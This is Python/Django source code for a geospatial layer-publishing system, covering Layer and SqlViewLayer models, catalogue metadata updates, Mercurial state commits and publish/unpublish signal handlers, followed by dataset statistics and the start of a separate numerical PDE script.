system_table_prefixes = ("django_","auth_","reversion_","pg_")
return any([table[0:len(prefix)] == prefix for prefix in system_table_prefixes])
def clean(self):
self.last_modify_time = timezone.now()
self.status = self.next_status(ResourceAction.UPDATE)
@property
def kmi_name(self):
return self.name or self.table.lower()
def refresh(self,time=None):
self.try_begin_transaction("livelayer_refresh")
try:
time = time or timezone.now()
if Layer.is_system_table(self.table):
return False
self.last_refresh_time = time
new_spatial_info = self.refresh_spatial_info().get_spatial_info()
if not self.sql or self.sql != self.get_create_table_sql() or self.spatial_info != new_spatial_info:
self.spatial_info = new_spatial_info
self.last_modify_time = time
self.sql = self.get_create_table_sql()
self.status = self.next_status(ResourceAction.UPDATE)
self.save()
return True
finally:
self.try_clear_transaction("livelayer_refresh")
@property
def builtin_metadata(self):
meta_data = {}
meta_data["workspace"] = self.datasource.workspace.name
meta_data["name"] = self.kmi_name
meta_data["service_type"] = "WMS"
if self.is_normal or not self.datasource.workspace.publish_channel.sync_geoserver_data:
meta_data["service_type"] = ""
elif self.is_raster:
meta_data["service_type"] = "WMS"
meta_data["service_type_version"] = self.datasource.workspace.publish_channel.wms_version
else:
meta_data["service_type"] = "WFS"
meta_data["service_type_version"] = self.datasource.workspace.publish_channel.wfs_version
meta_data["modified"] = (self.last_modify_time or self.last_refresh_time).astimezone(timezone.get_default_timezone()).strftime("%Y-%m-%d %H:%M:%S.%f")
#bbox
meta_data["bounding_box"] = self.kmi_bbox or (json.dumps(self.bbox) if self.bbox else None)
meta_data["crs"] = self.crs or None
#ows resource
meta_data["ows_resource"] = {}
if meta_data["service_type"] == "WFS" and self.datasource.workspace.publish_channel.wfs_endpoint:
meta_data["ows_resource"]["wfs"] = True
meta_data["ows_resource"]["wfs_version"] = self.datasource.workspace.publish_channel.wfs_version
meta_data["ows_resource"]["wfs_endpoint"] = self.datasource.workspace.publish_channel.wfs_endpoint
if meta_data["service_type"] in ("WFS","WMS") and self.datasource.workspace.publish_channel.wfs_endpoint:
meta_data["ows_resource"]["wms"] = True
meta_data["ows_resource"]["wms_version"] = self.datasource.workspace.publish_channel.wms_version
meta_data["ows_resource"]["wms_endpoint"] = self.datasource.workspace.publish_channel.wms_endpoint
geo_settings = json.loads(self.geoserver_setting) if self.geoserver_setting else {}
if geo_settings.get("create_cache_layer",False) and self.datasource.workspace.publish_channel.gwc_endpoint:
meta_data["ows_resource"]["gwc"] = True
meta_data["ows_resource"]["gwc_endpoint"] = self.datasource.workspace.publish_channel.gwc_endpoint
return meta_data
def update_catalogue_service(self,md5=False,extra_datas=None):
meta_data = self.builtin_metadata
if extra_datas:
meta_data.update(extra_datas)
bbox = meta_data.get("bounding_box",None)
crs = meta_data.get("crs",None)
#update catalog service
res = requests.post("{}/catalogue/api/records/?style_content=true".format(settings.CSW_URL),json=meta_data,auth=(settings.CSW_USER,settings.CSW_PASSWORD),verify=settings.CSW_CERT_VERIFY)
if 400 <= res.status_code < 600 and res.content:
res.reason = "{}({})".format(res.reason,res.content)
res.raise_for_status()
try:
meta_data = res.json()
except:
if res.content.find("microsoft") >= 0:
res.status_code = 401
res.reason = "Please login"
else:
res.status_code = 400
res.reason = "Unknown reason"
res.raise_for_status()
#process styles
styles = meta_data.get("styles",[])
#filter out qml and lyr styles
sld_styles = [s for s in meta_data.get("styles",[]) if s["format"].lower() == "sld" and s.get("raw_content")]
meta_data["styles"] = {}
style_dump_dir = BorgConfiguration.LIVE_LAYER_DIR
if not os.path.exists(style_dump_dir):
os.makedirs(style_dump_dir)
for style in sld_styles:
if style["default"]:
#default sld file
meta_data["default_style"] = style["name"]
#write the style into file system
style_file = os.path.join(style_dump_dir,"{}.{}.{}.sld".format(self.datasource.workspace.name,self.kmi_name,style["name"]))
with open(style_file,"wb") as f:
f.write(style["raw_content"].decode("base64"))
if md5:
meta_data["styles"][style["name"]] = {"file":"{}{}".format(BorgConfiguration.MASTER_PATH_PREFIX, style_file),"default":style["default"],"md5":file_md5(style_file)}
else:
meta_data["styles"][style["name"]] = {"file":"{}{}".format(BorgConfiguration.MASTER_PATH_PREFIX, style_file),"default":style["default"]}
#add extra data to meta data
meta_data["workspace"] = self.datasource.workspace.name
meta_data["override_bbox"] = True if self.kmi_bbox else False
meta_data["schema"] = self.datasource.schema
meta_data["name"] = self.kmi_name
meta_data["table"] = self.table
meta_data["datastore"] = self.datasource.name
meta_data["auth_level"] = self.datasource.workspace.auth_level
meta_data["preview_path"] = "{}{}".format(BorgConfiguration.MASTER_PATH_PREFIX, BorgConfiguration.PREVIEW_DIR)
meta_data["spatial_data"] = self.is_spatial
if self.is_spatial:
meta_data["bbox"] = bbox
meta_data["crs"] = crs
meta_data["spatial_type"] = self.spatial_type
meta_data["spatial_column"] = self.spatial_column
meta_data["channel"] = self.datasource.workspace.publish_channel.name
meta_data["sync_geoserver_data"] = self.datasource.workspace.publish_channel.sync_geoserver_data
if self.geoserver_setting:
meta_data["geoserver_setting"] = json.loads(self.geoserver_setting)
#bbox
if "bounding_box" in meta_data:
del meta_data["bounding_box"]
return meta_data
def save(self, force_insert=False, force_update=False, using=None, update_fields=None):
if not self.data_changed: return
try:
if self.try_begin_transaction("livelayer_save"):
with transaction.atomic():
super(Layer,self).save(force_insert,force_update,using,update_fields)
else:
super(Layer,self).save(force_insert,force_update,using,update_fields)
finally:
self.try_clear_transaction("livelayer_save")
def delete(self,using=None):
try:
if self.try_begin_transaction("livelayer_delete"):
with transaction.atomic():
super(Layer,self).delete(using)
else:
super(Layer,self).delete(using)
finally:
self.try_clear_transaction("livelayer_delete")
def json_filename(self,action='publish'):
if action in ['publish','unpublish']:
return os.path.join(self.datasource.workspace.publish_channel.name,"live_layers", "{}.{}.json".format(self.datasource.workspace.name, self.kmi_name))
else:
return os.path.join(self.datasource.workspace.publish_channel.name,"live_layers", "{}.{}.{}.json".format(self.datasource.workspace.name, self.kmi_name,action))
def json_filename_abs(self,action='publish'):
return os.path.join(BorgConfiguration.BORG_STATE_REPOSITORY, self.json_filename(action))
def unpublish(self):
#use published meta file as the meta file for unpublish
publish_file = self.json_filename_abs('publish')
publish_json = None
if os.path.exists(publish_file):
with open(publish_file,"r") as f:
publish_json = json.loads(f.read())
else:
publish_json = {}
json_file = self.json_filename_abs('unpublish');
json_out = None
#remove it from catalogue service
res = requests.delete("{}/catalogue/api/records/{}:{}/".format(settings.CSW_URL,self.datasource.workspace.name,self.kmi_name),auth=(settings.CSW_USER,settings.CSW_PASSWORD),verify=settings.CSW_CERT_VERIFY)
if res.status_code != 404:
res.raise_for_status()
try_set_push_owner("livelayer")
hg = None
try:
if publish_json.get("action","publish") != "remove":
json_out = {}
json_out["name"] = self.kmi_name
json_out["workspace"] = self.datasource.workspace.name
json_out["styles"] = {}
json_out["spatial_data"] = self.is_spatial
json_out["channel"] = self.datasource.workspace.publish_channel.name
json_out["sync_geoserver_data"] = self.datasource.workspace.publish_channel.sync_geoserver_data
json_out['action'] = "remove"
#retrieve meta data from the last publish task
meta_json = publish_json
if "meta" in publish_json and "file" in publish_json["meta"]:
meta_file = publish_json["meta"]["file"][len(BorgConfiguration.MASTER_PATH_PREFIX):]
if os.path.exists(meta_file):
with open(meta_file,"r") as f:
meta_json = json.loads(f.read())
else:
meta_json = {}
for key,value in meta_json.get("styles",{}).iteritems():
json_out["styles"][key] = {"default":value.get("default",False)}
for key in ["name","workspace","channel","spatial_data","sync_geoserver_data"]:
if key in meta_json:
json_out[key] = meta_json[key]
else:
json_out = publish_json
json_out["remove_time"] = timezone.localtime(timezone.now()).strftime("%Y-%m-%d %H:%M:%S.%f")
#create the dir if required
if not os.path.exists(os.path.dirname(json_file)):
os.makedirs(os.path.dirname(json_file))
with open(json_file, "wb") as output:
json.dump(json_out, output, indent=4)
hg = hglib.open(BorgConfiguration.BORG_STATE_REPOSITORY)
#remove other related json files
json_files = [ self.json_filename_abs(action) for action in [ 'empty_gwc' ] ]
#get all existing files.
json_files = [ f for f in json_files if os.path.exists(f) ]
if json_files:
hg.remove(files=json_files)
json_files.append(json_file)
hg.commit(include=json_files,addremove=True, user="borgcollector", message="unpublish live layer {}.{}".format(self.datasource.workspace.name, self.kmi_name))
increase_committed_changes()
try_push_to_repository("livelayer",hg)
finally:
if hg: hg.close()
try_clear_push_owner("livelayer")
def publish(self):
"""
publish layer's json reference (if exists) to the repository,
"""
json_filename = self.json_filename_abs('publish');
try_set_push_owner("livelayer")
hg = None
try:
meta_data = self.update_catalogue_service(md5=True,extra_datas={"publication_date":datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")})
#write meta data file
file_name = "{}.{}.meta.json".format(self.datasource.workspace.name,self.kmi_name)
meta_file = os.path.join(BorgConfiguration.LIVE_LAYER_DIR,file_name)
#create the dir if required
if not os.path.exists(os.path.dirname(meta_file)):
os.makedirs(os.path.dirname(meta_file))
with open(meta_file,"wb") as output:
json.dump(meta_data, output, indent=4)
json_out = {}
json_out['meta'] = {"file":"{}{}".format(BorgConfiguration.MASTER_PATH_PREFIX, meta_file),"md5":file_md5(meta_file)}
json_out['action'] = "publish"
json_out["publish_time"] = timezone.localtime(timezone.now()).strftime("%Y-%m-%d %H:%M:%S.%f")
#create the dir if required
if not os.path.exists(os.path.dirname(json_filename)):
os.makedirs(os.path.dirname(json_filename))
with open(json_filename, "wb") as output:
json.dump(json_out, output, indent=4)
hg = hglib.open(BorgConfiguration.BORG_STATE_REPOSITORY)
#remove other related json files
json_files = [ self.json_filename_abs(action) for action in [ 'empty_gwc' ] ]
#get all existing files.
json_files = [ f for f in json_files if os.path.exists(f) ]
if json_files:
hg.remove(files=json_files)
json_files.append(json_filename)
hg.commit(include=json_files,addremove=True, user="borgcollector", message="update live layer {}.{}".format(self.datasource.workspace.name, self.kmi_name))
increase_committed_changes()
try_push_to_repository("livelayer",hg)
finally:
if hg: hg.close()
try_clear_push_owner("livelayer")
def empty_gwc(self):
"""
update layer's json for empty gwc to the repository
"""
if self.publish_status.unpublished:
#layer is not published, no need to empty gwc
raise ValidationError("The wms layer({0}) is not published before.".format(self.kmi_name))
json_filename = self.json_filename_abs('empty_gwc');
try_set_push_owner("livelayer")
hg = None
try:
json_out = {}
json_out["name"] = self.kmi_name
json_out["workspace"] = self.datasource.workspace.name
json_out["store"] = self.datasource.name
json_out["action"] = "empty_gwc"
json_out["publish_time"] = timezone.localtime(timezone.now()).strftime("%Y-%m-%d %H:%M:%S.%f")
#create the dir if required
if not os.path.exists(os.path.dirname(json_filename)):
os.makedirs(os.path.dirname(json_filename))
with open(json_filename, "wb") as output:
json.dump(json_out, output, indent=4)
hg = hglib.open(BorgConfiguration.BORG_STATE_REPOSITORY)
hg.commit(include=[json_filename],addremove=True, user="borgcollector", message="Empty GWC of live layer {}.{}".format(self.datasource.workspace.name, self.kmi_name))
increase_committed_changes()
try_push_to_repository("livelayer",hg)
finally:
if hg: hg.close()
try_clear_push_owner("livelayer")
def __str__(self):
return self.kmi_name
class Meta:
unique_together = (("datasource","table"),)
ordering = ("datasource","table")
class PublishedLayerManager(models.Manager):
def get_queryset(self):
return super(LayerManager, self).get_queryset().filter(status__in=ResourceStatus.published_status)
class PublishedLayer(Layer):
objects = PublishedLayerManager
class Meta:
proxy = True
verbose_name="Published layer"
verbose_name_plural="Published layers"
class SqlViewLayer(BorgModel,ResourceStatusMixin,TransactionMixin,SpatialTableMixin):
name = models.SlugField(max_length=60,null=False,blank=False,editable=True,unique=True, help_text="The name of live layer", validators=[validate_slug])
datasource = models.ForeignKey(Datasource,editable=True,null=False,blank=False,on_delete=models.CASCADE)
viewsql = SQLField(null=False,blank=False)
spatial_info = models.TextField(max_length=512,editable=False,null=True,blank=True)
sql = models.TextField(null=True, editable=False)
kmi_bbox = models.CharField(max_length=128,null=True,blank=True,editable=True)
geoserver_setting = models.TextField(blank=True,null=True,editable=False)
status = models.CharField(max_length=32, null=False, editable=False,choices=ResourceStatus.layer_status_options,default=ResourceStatus.New.name)
last_publish_time = models.DateTimeField(null=True,editable=False)
last_unpublish_time = models.DateTimeField(null=True,editable=False)
last_refresh_time = models.DateTimeField(null=False,editable=False)
last_modify_time = models.DateTimeField(null=True,editable=False)
create_time = models.DateTimeField(auto_now=False,auto_now_add=True,editable=False,null=False)
@property
def table_name(self):
return self.name
@property
def table_schema(self):
return self.datasource.schema
@property
def table_sql(self):
return self.viewsql
@property
def db_util(self):
return self.datasource.dbUtil
def clean(self):
if not self.data_changed: return
self.last_modify_time = timezone.now()
self.status = self.next_status(ResourceAction.UPDATE)
if not self.last_refresh_time:
self.last_refresh_time = self.datasource.last_refresh_time
self.spatial_info = self.refresh_spatial_info().get_spatial_info()
self.sql = self.get_create_table_sql()
def refresh(self,time=None):
self.try_begin_transaction("livesqlviewlayer_refresh")
try:
time = time or timezone.now()
new_spatial_info = self.refresh_spatial_info().get_spatial_info()
self.last_refresh_time = time
if not self.sql or self.sql != self.get_create_table_sql() or self.spatial_info != new_spatial_info:
self.spatial_info = new_spatial_info
self.last_modify_time = time
self.sql = self.get_create_table_sql()
self.status = self.next_status(ResourceAction.UPDATE)
self.save()
return True
finally:
self.try_clear_transaction("livesqlviewlayer_refresh")
@property
def kmi_name(self):
return self.name
@property
def builtin_metadata(self):
meta_data = {}
meta_data["workspace"] = self.datasource.workspace.name
meta_data["name"] = self.kmi_name
meta_data["service_type"] = "WMS"
if self.is_normal or not self.datasource.workspace.publish_channel.sync_geoserver_data:
meta_data["service_type"] = ""
elif self.is_raster:
meta_data["service_type"] = "WMS"
meta_data["service_type_version"] = self.datasource.workspace.publish_channel.wms_version
else:
meta_data["service_type"] = "WFS"
meta_data["service_type_version"] = self.datasource.workspace.publish_channel.wfs_version
meta_data["modified"] = (self.last_modify_time or self.last_refresh_time).astimezone(timezone.get_default_timezone()).strftime("%Y-%m-%d %H:%M:%S.%f")
#bbox
meta_data["bounding_box"] = self.kmi_bbox or (json.dumps(self.bbox) if self.bbox else None)
meta_data["crs"] = self.crs or None
#ows resource
meta_data["ows_resource"] = {}
if meta_data["service_type"] == "WFS" and self.datasource.workspace.publish_channel.wfs_endpoint:
meta_data["ows_resource"]["wfs"] = True
meta_data["ows_resource"]["wfs_version"] = self.datasource.workspace.publish_channel.wfs_version
meta_data["ows_resource"]["wfs_endpoint"] = self.datasource.workspace.publish_channel.wfs_endpoint
if meta_data["service_type"] in ("WFS","WMS") and self.datasource.workspace.publish_channel.wfs_endpoint:
meta_data["ows_resource"]["wms"] = True
meta_data["ows_resource"]["wms_version"] = self.datasource.workspace.publish_channel.wms_version
meta_data["ows_resource"]["wms_endpoint"] = self.datasource.workspace.publish_channel.wms_endpoint
geo_settings = json.loads(self.geoserver_setting) if self.geoserver_setting else {}
if geo_settings.get("create_cache_layer",False) and self.datasource.workspace.publish_channel.gwc_endpoint:
meta_data["ows_resource"]["gwc"] = True
meta_data["ows_resource"]["gwc_endpoint"] = self.datasource.workspace.publish_channel.gwc_endpoint
return meta_data
def update_catalogue_service(self,md5=False,extra_datas=None):
meta_data = self.builtin_metadata
if extra_datas:
meta_data.update(extra_datas)
bbox = meta_data.get("bounding_box",None)
crs = meta_data.get("crs",None)
#update catalog service
res = requests.post("{}/catalogue/api/records/?style_content=true".format(settings.CSW_URL),json=meta_data,auth=(settings.CSW_USER,settings.CSW_PASSWORD),verify=settings.CSW_CERT_VERIFY)
if 400 <= res.status_code < 600 and res.content:
res.reason = "{}({})".format(res.reason,res.content)
res.raise_for_status()
try:
meta_data = res.json()
except:
if res.content.find("microsoft") >= 0:
res.status_code = 401
res.reason = "Please login"
else:
res.status_code = 400
res.reason = "Unknown reason"
res.raise_for_status()
#process styles
styles = meta_data.get("styles",[])
#filter out qml and lyr styles
sld_styles = [s for s in meta_data.get("styles",[]) if s["format"].lower() == "sld" and s.get("raw_content")]
meta_data["styles"] = {}
style_dump_dir = BorgConfiguration.LIVE_LAYER_DIR
if not os.path.exists(style_dump_dir):
os.makedirs(style_dump_dir)
for style in sld_styles:
if style["default"]:
#default sld file
meta_data["default_style"] = style["name"]
#write the style into file system
style_file = os.path.join(style_dump_dir,"{}.{}.{}.sld".format(self.datasource.workspace.name,self.kmi_name,style["name"]))
with open(style_file,"wb") as f:
f.write(style["raw_content"].decode("base64"))
if md5:
meta_data["styles"][style["name"]] = {"file":"{}{}".format(BorgConfiguration.MASTER_PATH_PREFIX, style_file),"default":style["default"],"md5":file_md5(style_file)}
else:
meta_data["styles"][style["name"]] = {"file":"{}{}".format(BorgConfiguration.MASTER_PATH_PREFIX, style_file),"default":style["default"]}
#add extra data to meta data
meta_data["workspace"] = self.datasource.workspace.name
meta_data["override_bbox"] = True if self.kmi_bbox else False
meta_data["name"] = self.kmi_name
meta_data["datastore"] = self.datasource.name
meta_data["auth_level"] = self.datasource.workspace.auth_level
meta_data["preview_path"] = "{}{}".format(BorgConfiguration.MASTER_PATH_PREFIX, BorgConfiguration.PREVIEW_DIR)
meta_data["spatial_data"] = self.is_spatial
if self.is_spatial:
meta_data["bbox"] = bbox
meta_data["crs"] = crs
meta_data["spatial_type"] = self.spatial_type
meta_data["spatial_column"] = self.spatial_column
meta_data["channel"] = self.datasource.workspace.publish_channel.name
meta_data["sync_geoserver_data"] = self.datasource.workspace.publish_channel.sync_geoserver_data
if self.geoserver_setting:
meta_data["geoserver_setting"] = json.loads(self.geoserver_setting)
meta_data["viewsql"] = self.viewsql
#bbox
if "bounding_box" in meta_data:
del meta_data["bounding_box"]
return meta_data
def save(self, force_insert=False, force_update=False, using=None, update_fields=None):
if not self.data_changed: return
try:
if self.try_begin_transaction("livesqlviewlayer_save"):
with transaction.atomic():
super(SqlViewLayer,self).save(force_insert,force_update,using,update_fields)
else:
super(SqlViewLayer,self).save(force_insert,force_update,using,update_fields)
finally:
self.try_clear_transaction("livesqlviewlayer_save")
def delete(self,using=None):
try:
if self.try_begin_transaction("livesqlviewlayer_delete"):
with transaction.atomic():
super(SqlViewLayer,self).delete(using)
else:
super(SqlViewLayer,self).delete(using)
finally:
self.try_clear_transaction("livesqlviewlayer_delete")
def json_filename(self,action='publish'):
if action in ['publish','unpublish']:
return os.path.join(self.datasource.workspace.publish_channel.name,"live_layers", "{}.{}.json".format(self.datasource.workspace.name, self.kmi_name))
else:
return os.path.join(self.datasource.workspace.publish_channel.name,"live_layers", "{}.{}.{}.json".format(self.datasource.workspace.name, self.kmi_name,action))
def json_filename_abs(self,action='publish'):
return os.path.join(BorgConfiguration.BORG_STATE_REPOSITORY, self.json_filename(action))
def unpublish(self):
#use published meta file as the meta file for unpublish
publish_file = self.json_filename_abs('publish')
publish_json = None
if os.path.exists(publish_file):
with open(publish_file,"r") as f:
publish_json = json.loads(f.read())
else:
publish_json = {}
json_file = self.json_filename_abs('unpublish');
json_out = None
#remove it from catalogue service
res = requests.delete("{}/catalogue/api/records/{}:{}/".format(settings.CSW_URL,self.datasource.workspace.name,self.kmi_name),auth=(settings.CSW_USER,settings.CSW_PASSWORD),verify=settings.CSW_CERT_VERIFY)
if res.status_code != 404:
res.raise_for_status()
hg = None
try:
if publish_json.get("action","publish") != "remove":
json_out = {}
json_out["name"] = self.kmi_name
json_out["workspace"] = self.datasource.workspace.name
json_out["styles"] = {}
json_out["spatial_data"] = self.is_spatial
json_out["channel"] = self.datasource.workspace.publish_channel.name
json_out["sync_geoserver_data"] = self.datasource.workspace.publish_channel.sync_geoserver_data
json_out['action'] = "remove"
#retrieve meta data from the last publish task
meta_json = publish_json
if "meta" in publish_json and "file" in publish_json["meta"]:
meta_file = publish_json["meta"]["file"][len(BorgConfiguration.MASTER_PATH_PREFIX):]
if os.path.exists(meta_file):
with open(meta_file,"r") as f:
meta_json = json.loads(f.read())
else:
meta_json = {}
for key,value in meta_json.get("styles",{}).iteritems():
json_out["styles"][key] = {"default":value.get("default",False)}
for key in ["name","workspace","channel","spatial_data","sync_geoserver_data"]:
if key in meta_json:
json_out[key] = meta_json[key]
else:
json_out = publish_json
json_out["remove_time"] = timezone.localtime(timezone.now()).strftime("%Y-%m-%d %H:%M:%S.%f")
#create the dir if required
if not os.path.exists(os.path.dirname(json_file)):
os.makedirs(os.path.dirname(json_file))
with open(json_file, "wb") as output:
json.dump(json_out, output, indent=4)
hg = hglib.open(BorgConfiguration.BORG_STATE_REPOSITORY)
#remove other related json files
json_files = [ self.json_filename_abs(action) for action in [ 'empty_gwc' ] ]
#get all existing files.
json_files = [ f for f in json_files if os.path.exists(f) ]
if json_files:
hg.remove(files=json_files)
json_files.append(json_file)
hg.commit(include=json_files,addremove=True, user="borgcollector", message="unpublish live layer {}.{}".format(self.datasource.workspace.name, self.kmi_name))
increase_committed_changes()
try_push_to_repository("livelayer",hg)
finally:
if hg: hg.close()
try_clear_push_owner("livelayer")
def publish(self):
"""
publish layer's json reference (if exists) to the repository,
"""
#import ipdb;ipdb.set_trace()
json_filename = self.json_filename_abs('publish');
try_set_push_owner("livesqlviewlayer")
hg = None
try:
meta_data = self.update_catalogue_service(md5=True,extra_datas={"publication_date":datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")})
#write meta data file
file_name = "{}.{}.meta.json".format(self.datasource.workspace.name,self.kmi_name)
meta_file = os.path.join(BorgConfiguration.LIVE_LAYER_DIR,file_name)
#create the dir if required
if not os.path.exists(os.path.dirname(meta_file)):
os.makedirs(os.path.dirname(meta_file))
with open(meta_file,"wb") as output:
json.dump(meta_data, output, indent=4)
json_out = {}
json_out['meta'] = {"file":"{}{}".format(BorgConfiguration.MASTER_PATH_PREFIX, meta_file),"md5":file_md5(meta_file)}
json_out['action'] = "publish"
json_out["publish_time"] = timezone.localtime(timezone.now()).strftime("%Y-%m-%d %H:%M:%S.%f")
#create the dir if required
if not os.path.exists(os.path.dirname(json_filename)):
os.makedirs(os.path.dirname(json_filename))
with open(json_filename, "wb") as output:
json.dump(json_out, output, indent=4)
hg = hglib.open(BorgConfiguration.BORG_STATE_REPOSITORY)
#remove other related json files
json_files = [ self.json_filename_abs(action) for action in [ 'empty_gwc' ] ]
#get all existing files.
json_files = [ f for f in json_files if os.path.exists(f) ]
if json_files:
hg.remove(files=json_files)
json_files.append(json_filename)
hg.commit(include=json_files,addremove=True, user="borgcollector", message="update live layer {}.{}".format(self.datasource.workspace.name, self.kmi_name))
increase_committed_changes()
try_push_to_repository("livesqlviewlayer",hg)
finally:
if hg: hg.close()
try_clear_push_owner("livesqlviewlayer")
def empty_gwc(self):
"""
update layer's json for empty gwc to the repository
"""
if self.publish_status.unpublished:
#layer is not published, no need to empty gwc
raise ValidationError("The wms layer({0}) is not published before.".format(self.kmi_name))
json_filename = self.json_filename_abs('empty_gwc');
try_set_push_owner("livelayer")
hg = None
try:
json_out = {}
json_out["name"] = self.kmi_name
json_out["workspace"] = self.datasource.workspace.name
json_out["store"] = self.datasource.name
json_out["action"] = "empty_gwc"
json_out["publish_time"] = timezone.localtime(timezone.now()).strftime("%Y-%m-%d %H:%M:%S.%f")
#create the dir if required
if not os.path.exists(os.path.dirname(json_filename)):
os.makedirs(os.path.dirname(json_filename))
with open(json_filename, "wb") as output:
json.dump(json_out, output, indent=4)
hg = hglib.open(BorgConfiguration.BORG_STATE_REPOSITORY)
hg.commit(include=[json_filename],addremove=True, user="borgcollector", message="Empty GWC of live layer {}.{}".format(self.datasource.workspace.name, self.kmi_name))
increase_committed_changes()
try_push_to_repository("livelayer",hg)
finally:
if hg: hg.close()
try_clear_push_owner("livelayer")
def __str__(self):
return self.kmi_name
class Meta:
ordering = ("datasource","name")
class DatasourceEventListener(object):
@staticmethod
@receiver(pre_delete, sender=Datasource)
def _pre_delete(sender, instance, **args):
#unpublish the datasource first
target_status = instance.next_status(ResourceAction.UNPUBLISH)
if target_status != instance.status or instance.unpublish_required:
instance.status = target_status
instance.save(update_fields=['status','last_unpublish_time'])
@staticmethod
@receiver(pre_save, sender=Datasource)
def _pre_save(sender, instance, **args):
if instance.unpublish_required:
#unpublish all layers belonging to the server
for layer in instance.layer_set.all():
target_status = layer.next_status(ResourceAction.CASCADE_UNPUBLISH)
if layer.status != target_status or layer.unpublish_required:
#need to unpublish
layer.status = target_status
layer.save(update_fields=["status","last_unpublish_time"])
for viewlayer in instance.sqlviewlayer_set.all():
target_status = viewlayer.next_status(ResourceAction.CASCADE_UNPUBLISH)
if viewlayer.status != target_status or viewlayer.unpublish_required:
#need to unpublish
viewlayer.status = target_status
viewlayer.save(update_fields=["status","last_unpublish_time"])
instance.unpublish()
instance.last_unpublish_time = timezone.now()
elif instance.publish_required:
instance.publish()
#publish succeed, change the status to published.
instance.last_publish_time = timezone.now()
#cascade publish layers
"""
cascade publish will trigger all published layers from this wms server to be published again, and in most cases, this is unnecessary.
for layer in instance.layer_set.all():
target_status = layer.next_status(ResourceAction.CASCADE_PUBLISH)
if layer.status != target_status or layer.publish_required:
#need to publish
layer.status = target_status
layer.save(update_fields=["status","last_publish_time"])
for viewlayer in instance.sqlviewlayer_set.all():
target_status = viewlayer.next_status(ResourceAction.CASCADE_PUBLISH)
if viewlayer.status != target_status or viewlayer.publish_required:
#need to unpublish
viewlayer.status = target_status
viewlayer.save(update_fields=["status","last_publish_time"])
"""
class LayerEventListener(object):
@staticmethod
@receiver(pre_delete, sender=Layer)
def _pre_delete(sender, instance, **args):
#unpublish the layer first
target_status = instance.next_status(ResourceAction.UNPUBLISH)
if target_status != instance.status or instance.unpublish_required:
instance.status = target_status
instance.save(update_fields=['status','last_unpublish_time'])
@staticmethod
@receiver(post_delete, sender=Layer)
def _post_delete(sender, instance, **args):
pass
@staticmethod
@inherit_support_receiver(pre_save, sender=Layer)
def _pre_save(sender, instance, **args):
if "update_fields" in args and args['update_fields'] and "status" in args["update_fields"]:
if instance.unpublish_required:
instance.unpublish()
instance.last_unpublish_time = timezone.now()
elif instance.publish_required:
#publish the datasource to which this layer belongs to
datasource = instance.datasource
target_status = datasource.next_status(ResourceAction.DEPENDENT_PUBLISH)
if datasource.status != target_status or datasource.publish_required:
#associated datasource is not published,publish it
datasource.status = target_status
datasource.save(update_fields=["status","last_publish_time"])
instance.publish()
instance.last_publish_time = timezone.now()
class SqlViewLayerEventListener(object):
@staticmethod
@receiver(pre_delete, sender=SqlViewLayer)
def _pre_delete(sender, instance, **args):
#unpublish the layer first
target_status = instance.next_status(ResourceAction.UNPUBLISH)
if target_status != instance.status or instance.unpublish_required:
instance.status = target_status
instance.save(update_fields=['status','last_unpublish_time'])
@staticmethod
@receiver(post_delete, sender=SqlViewLayer)
def _post_delete(sender, instance, **args):
pass
@staticmethod
@inherit_support_receiver(pre_save, sender=SqlViewLayer)
def _pre_save(sender, instance, **args):
#import ipdb;ipdb.set_trace()
if "update_fields" in args and args['update_fields'] and "status" in args["update_fields"]:
if instance.unpublish_required:
instance.unpublish()
instance.last_unpublish_time = timezone.now()
elif instance.publish_required:
#publish the datasource to which this layer belongs to
datasource = instance.datasource
target_status = datasource.next_status(ResourceAction.DEPENDENT_PUBLISH)
if datasource.status != target_status or datasource.publish_required:
#associated datasource is not published,publish it
datasource.status = target_status
datasource.save(update_fields=["status","last_publish_time"])
instance.publish()
instance.last_publish_time = timezone.now()
| 45.249368
| 213
| 0.627246
| 6,312
| 53,711
| 5.112959
| 0.063688
| 0.033217
| 0.04276
| 0.031605
| 0.855948
| 0.828866
| 0.805069
| 0.783999
| 0.762588
| 0.75292
| 0
| 0.003157
| 0.262758
| 53,711
| 1,186
| 214
| 45.287521
| 0.811859
| 0.039806
| 0
| 0.766629
| 0
| 0
| 0.10027
| 0.006284
| 0
| 0
| 0
| 0
| 0
| 1
| 0.060879
| false
| 0.011274
| 0.031567
| 0.018038
| 0.192785
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1477a17b20b1ddf28b0c375589b36b88e86ef523
| 7,824
|
py
|
Python
|
General_Laplace.py
|
Blue-Giant/SubspaceDNN_tf1Class
|
522ec508caba6f3d722eee19c748d1b1cbe40d4f
|
[
"MIT"
] | 1
|
2021-12-29T05:00:48.000Z
|
2021-12-29T05:00:48.000Z
|
General_Laplace.py
|
Blue-Giant/SubspaceDNN_tf1Class
|
522ec508caba6f3d722eee19c748d1b1cbe40d4f
|
[
"MIT"
] | null | null | null |
General_Laplace.py
|
Blue-Giant/SubspaceDNN_tf1Class
|
522ec508caba6f3d722eee19c748d1b1cbe40d4f
|
[
"MIT"
] | 1
|
2021-01-22T08:10:58.000Z
|
2021-01-22T08:10:58.000Z
|
import tensorflow as tf
import numpy as np
def get_infos2Laplace_1D(input_dim=1, out_dim=1, intervalL=0.0, intervalR=1.0, equa_name=None):
# -uxx = f
if equa_name == 'PDE1':
# u=sin(pi*x), f=-pi*pi*sin(pi*x)
fside = lambda x: -(np.pi)*(np.pi)*tf.sin(np.pi*x)
utrue = lambda x: tf.sin(np.pi*x)
uleft = lambda x: tf.sin(np.pi*intervalL)
uright = lambda x: tf.sin(np.pi*intervalR)
return fside, utrue, uleft, uright
# 偏微分方程的一些信息:边界条件，初始条件，真解，右端项函数
def get_infos2Laplace_2D(input_dim=1, out_dim=1, left_bottom=0.0, right_top=1.0, equa_name=None):
if equa_name == 'PDE1':
# u=exp(-x)(x_y^3), f = -exp(-x)(x-2+y^3+6y)
f_side = lambda x, y: -(tf.exp(-1.0*x)) * (x - 2 + tf.pow(y, 3) + 6 * y)
u_true = lambda x, y: (tf.exp(-1.0*x))*(x + tf.pow(y, 3))
ux_left = lambda x, y: tf.exp(-left_bottom) * (tf.pow(y, 3) + 1.0 * left_bottom)
